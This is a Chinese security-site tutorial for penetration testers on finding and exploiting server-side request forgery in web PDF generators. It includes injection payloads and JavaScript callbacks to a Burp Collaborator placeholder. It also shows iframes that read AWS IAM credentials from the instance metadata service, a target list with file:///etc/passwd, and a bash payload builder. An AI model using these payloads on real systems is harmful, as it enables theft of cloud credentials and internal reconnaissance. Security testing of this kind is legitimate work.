freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课
报告 专辑
行业服务
政 府
CNCERT CNNVD
会员体系（甲方） 会员体系（厂商） 产品名录 企业空间
知识大陆

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

红队如何在Web的PDF生成器中识别和检测SSRF
  • 关注
红队如何在Web的PDF生成器中识别和检测SSRF
2024-01-23 15:46:21

写在前面的话

如果你以前访问的某个网站拥有下列功能之一，那么你很可能已经偶然发现了很多个服务器端请求伪造（SSRF）漏洞了，这些功能包括：

1、打印结业证书；

2、生成报告文件；

3、提交数字签名；

4、...

在详细了解如何查找和利用PDF生成器中的SSRF漏洞之前，让我们先来看看Web应用程序中生成PDF时会发生什么事情。

大家想象一下，你现在把一个非常普通的网页以HTML文件的形式保存到了桌面上，然后取名为ssrf.html，这个网页会使用JavaScript来获取图片数据并将其添加到网页页面中，代码大致如下：

然后，使用Web浏览器的打印功能打开这个HTML并将其保存为PDF文件：

接下来，浏览器将解析HTML，执行其中的JavaScript代码并请求远程图片文件以生成PDF文档。此时，如果威胁行为者能够影响生成PDF的HTML，那么就会带来严重的安全威胁。比如说SSRF，而SSRF可能会带来以下安全威胁：

1、IMDS：如果服务器托管在云环境中（例如AWX、Azure或GCP），那么威胁行为者将能够与其实例元数据服务 (IMDS) 进行交互。如果服务器启用了AWS IMDSv1，威胁行为者将能够从IAM节点泄漏AWS临时安全凭证或从用户数据节点泄露明文凭证；

2、PDF生成器：导致PDF生成器组件本身存在安全漏洞；

3、主机/服务发现：威胁行为者将能够与服务器上运行的其他服务或不可公开访问的系统进行交互；

我们该从哪儿开始？

首先，我们需要对目标PDF文档进行分析，同时需要关注我们给应用程序提供的各种数据，比如说姓名、地址和数字签名等。这些都是我们值得研究的有价值参数，在分析过程中，我们需要解决下列问题：

1、我可以注入HTML吗？

2、我可以访问远程服务器吗？

3、我可以执行JavaScript代码吗？

4、负责渲染PDF的服务器托管在云端的吗？

5、生成PDF的组件中是否存在任何已知漏洞？

6、我还可以与哪些其他的服务或系统进行交互？

如果你之前对跨站脚本（XSS）漏洞比较熟悉的话，那么上述几个问题你应该不会陌生。因为这两个漏洞的识别和利用方式非常相似，最主要的区别就是有没有DOM，而SSRF相关的事件主要发生在服务器上。

我可以注入HTML吗？

我们发送给服务器的Payload可能存在以下三种情况：

1、位于HTML标签之间；

2、用“'”符号括起来，位于HTML实体属性内；

3、用引号（“”或‘’）括起来，位于HTML实体属性内；

正如前面提到的，我们可能看不到要注入的内容，因此我们必须进行一些调查以确定Payload注入的上下文场景。下图代码块中黄色部分标记的就是Payload的相关代码。如果给定的Payload能够呈现，那么我们就知道Payload在该场景中注入成功了。

大家可以看看最后两种场景，其中你的Payload已经注入到了HTML实体属性中。如果你有Burp的专业版许可证，那么最后两个场景可能表明使用的是“外部HTTP交互”自动扫描发现。如果你没有专业版许可证，则可以尝试将图片URL粘贴到Payload的位置。如果图片能够显示在PDF中，则表明你的Payload在最后那两个场景中成功实现注入了。

位于HTML标签之间

你的Payload可能会注入在几个HTML标签之间，此时，可以尝试注入一两个HTML标签。使用两个HTML元素会比较方便，如果呈现了HTML，你将会在PDF中看到效果。

<body>

<h1>Congratulations!</h1>

<h1>Big Header</h1><h5>Small Header</h5>

</body>

用“'”符号括起来，位于HTML实体属性内：

<body>

<h1>Congratulations!</h1>

<img src=''/><h1>Big Apostrophe</h1><h5>Little Apostrophe</h5>'></img>

</body>

用引号（“”或‘’）括起来，位于HTML实体属性内：

<body>

<h1>Congratulations!</h1>

<img src=""/><h1>Big Quotation Mark</h1><h5>Little Quotation Mark</h5>"></img>

</body>

需要注意的是，在检测最后一个（用引号括起来的）上下文场景时，请注意请求的类型。JSON会是最常见的请求格式，不要忘记转义引号：

弄清楚Payload注入的上下文场景是非常重要的，因为如果存在语法错误，可能会弹出错误消息，或者导致什么内容都查看不到。

我可以访问远程服务器吗？

如前所述，我们可以尝试将一个URL粘贴到正在分析的位置。如果能够获取远程资源或与Burp Collaborator交互，那么我们就知道正在测试的服务器能够访问远程服务器了。

如果你能够确定你的Payload可以注入到两个HTML标签之间的话，可以尝试下列方法：

<body>

<h1>Congratulations!</h1>

<img src="{{URL_IMAGE_OR_BURP_COLLABORATOR}}"></img>

</body>

对于SSRF来说，数字签名会是一个非常意想不到的利用场景，此时需要注意包含下列内容的请求：

data:image/png;base64,{{BASE64_ENCODED_BLOB}}

这是数据URL的起始部分，应用程序可以直接通过它内联嵌入图片而无需从远程服务器获取图片。如果服务器存在漏洞，则可能出现下列情况：

<body>

<h1>Proof that you Signed Your Life Away</h1>

<img src="data:image/png;base64,{{BASE64_ENCODED_DIGITAL_SIGNATURE}}"></img>

</body>

由于数据URL只是图片元素的源，因此我们可以将数据URL替换为指向远程资源的URL。

我可以执行JavaScript吗？

现在，我们已经确定了Payload注入的位置，并验证了服务器是否可以获取远程资源。接下来，我们就可以检查JavaScript的执行情况了，这里，我们可以使用如下所示的代码：

<body>

<h1>Proof that you Signed Your Life Away</h1>

<img src=""><body id="body"> <script>jsImg = new Image();jsImg.src="https://www.blackhillsinfosec.com/wp-content/uploads/2016/03/BHIS-logo-L.png";document.getElementById("body").appendChild(jsImg);</script></body>"></img>

</body>

如果你在渲染的PDF中看到了BHIS Logo，则说明JavaScript代码执行成功。

现在跟测试XSS一样，注入<script>标签有可能会被服务器拒绝。因此我们需要使用另一种技术来注入JavaScript代码。下列Payload不会在PDF中呈现图片，但如果你在Burp Collaborator中看到回调的话，则说明JavaScaript代码执行成功：

<body>

<h1>Proof that you Signed Your Life Away</h1>

<img src=""><img src="a" onerror='var jsImg = new Image; jsImg.src="https://{{YOUR_BURP_COLLAB_URL_HERE}}";'></img>"></img>

</body>

负责渲染PDF的服务器托管在云端的吗？

能够突出SSRF漏洞影响的最经典案例就是从实例元数据服务（IMDS）泄露AWS IAM临时安全凭证。具体来说，我们还需要确定服务器是否托管在AWS中并配置为支持IMDSv1功能。在此场景下，我们将能够把临时安全凭证泄露到PDF中。现在，我们需要发起至少两个请求才能泄露AWS访问密钥。第一个请求负责获取IAM角色名称，可以使用iframe元素在PDF中查看响应：

<body>

<h1>Proof that you Signed Your Life Away</h1>

<img src=""><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials></iframe>

"></img>

</body>

第二个请求负责获取安全凭证数据，然后将PDF中的IAM角色添加到下列代码段中：

<body>

<h1>Proof that you Signed Your Life Away</h1>

<img src=""><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/{{SECURITY_ROLE_ID}}></iframe>

"></img>

</body>

如果你在PDF中查看到了类似下列内容的结果，则表明我们获取到了AWS访问密钥，而该密钥可以用于访问目标AWS账号的其他资源：

除了AWS访问密钥之外，我们还可以在user-data IMDS节点处查看是否存在其他的敏感数据。

生成PDF的组件中是否存在任何已知的漏洞？

近期，我们在其他的研究活动中发现了一个SSRF漏洞，在当时的场景中，PDF是由️无头Chrome浏览器渲染的。在分析过程中，我们发现应用程序通过无头Chrome生成PDF的情况并不少见。当时我们注意到了User-Agent请求Header，其中包含了Chrome的版本号等有价值信息，而检查组件名称和版本的另一个位置就是PDF本身的元数据：

这些地方我们都可以花时间快速进行网络搜索以查找正在测试的组件中是否存在安全漏洞。

还可以与哪些其他服务或系统交互？

这是一个开放式的问题，并且依赖于上下文场景，在思考这个问题之前，我们先回答以下几个问题：

1、在网络侦查过程中是否遇到过任何无法解析的主机名？

2、应用程序中是否发现任何私有IP地址？

3、是否发现过容器技术的使用痕迹？

4、是否正在参与团队安全评估，同时还有其他的测试人员正在从内部进行安全渗透测试？

要是一个一个因素去测试的话，肯定非常无聊。但幸运的是，PDF生成器中的SSRF漏洞将允许我们使用iframe和单个请求来检测多个系统。此时，我们可能无法在PDF文档中看到具体的响应，具体取决于目标系统上是否启用了相关的iframe保护功能。

为了发送iframe栈，我们建议大家从常见SSRF目标和主机名列表着手。下面给出的是一个简单的示例：

http://169.254.169.254/latest/

http://169.254.169.254.xip.io/

http://127.0.0.1:80

http://127.0.0.1:443

http://127.0.0.1:22

http://0.0.0.0:80

http://0.0.0.0:443

http://0.0.0.0:22

http://localhost:80

http://localhost:443

http://localhost:22

file:///etc/passwd

file://Windows/win.ini

接下来，我们可以使用下列Bash函数将每个SSRF目标封装在iframe中，这里我还专门包含了一个Header元素。这个Header元素将出现在PDF中，以便我们查看到底哪个Payload能够触发响应。如果你使用了下列脚本，请别忘了相应地调整CRADLE_OPEN和CRADLE_CLOSE变量。如果你的Payload注入在HTML标签之间，则可以直接使用下列脚本代码：

HDR_OPEN='<h1>'

HDR_CLOSE='</h1>'

 

CRADLE_OPEN="<iframe src='"

CRADLE_CLOSE="' width='1000' height='1000'></iframe>"

 

make_payload () {

        printf $HDR_OPEN$1$HDR_CLOSE$CRADLE_OPEN$1$CRADLE_CLOSE

}

最后，循环SSRF Payload文件以生成超级Payload，然后将其复制到HTTP请求中：

for target in `cat SSRF_targets.lst`; do make_payload $target; done

请求中的最终版本Payload如下所示：

下图显示的是我们在一次安全审计活动中生成的PDF样例，使用的就是前文所介绍的技术：

总结

在Web应用程序的PDF生成器中识别SSRF漏洞时，Payload和触发器可能会异步发送，这也会给我们识别SSRF漏洞增加难度。在这篇文章中，我们介绍了如何识别PDF生成器中潜在的SSRF漏洞，并对相关的识别和利用技术进行了详细的分析和演示，希望能给广大研究人员带来一些收获和启发。

参考资料

https://docs.google.com/presentation/d/1JdIjHHPsFSgLbaJcHmMkE904jmwPM4xdhEuwhy2ebvo/htmlpresent

https://www.jomar.fr/posts/2021/ssrf_through_pdf_generation/

https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/

https://www.triskelelabs.com/microstrategy-ssrf-through-pdf-generator-cve-2020-24815

https://blog.appsecco.com/an-ssrf-privileged-aws-keys-and-the-capital-one-breach-4c3c2cded3af

https://hackerone.com/reports/2262382?s=09

https://portswigger.net/burp/documentation/collaborator

https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs

https://blog.checkpoint.com/security/aws-instance-metadata-service-imds-best-practices/

https://developer.chrome.com/blog/headless-chrome

https://blog.grio.com/2020/08/understanding-pdf-generation-with-headless-chrome.html

https://portswigger.net/daily-swig/severe-chrome-bug-allowed-rce-on-devices-running-remote-headless-interface

https://github.com/xcanwin/CVE-2023-4357-Chrome-XXE

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery

https://developer.mozilla.org/en-US/docs/Web/API/setTimeout

参考链接

https://www.blackhillsinfosec.com/hunting-for-ssrf-bugs-in-pdf-generators/

# Pdf安全 # SSRF # PDF # web漏洞检测 # PDF生成器
本文为 独立观点，未经允许不得转载，授权请联系FreeBuf客服小蜜蜂，微信：freebee2022
被以下专辑收录，发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录
写在前面的话
    我们该从哪儿开始？
    • 我可以注入HTML吗？
    • 我可以访问远程服务器吗？
    • 我可以执行JavaScript吗？
    • 负责渲染PDF的服务器托管在云端的吗？
    • 生成PDF的组件中是否存在任何已知的漏洞？
    • 还可以与哪些其他服务或系统交互？
    总结
      参考资料
        参考链接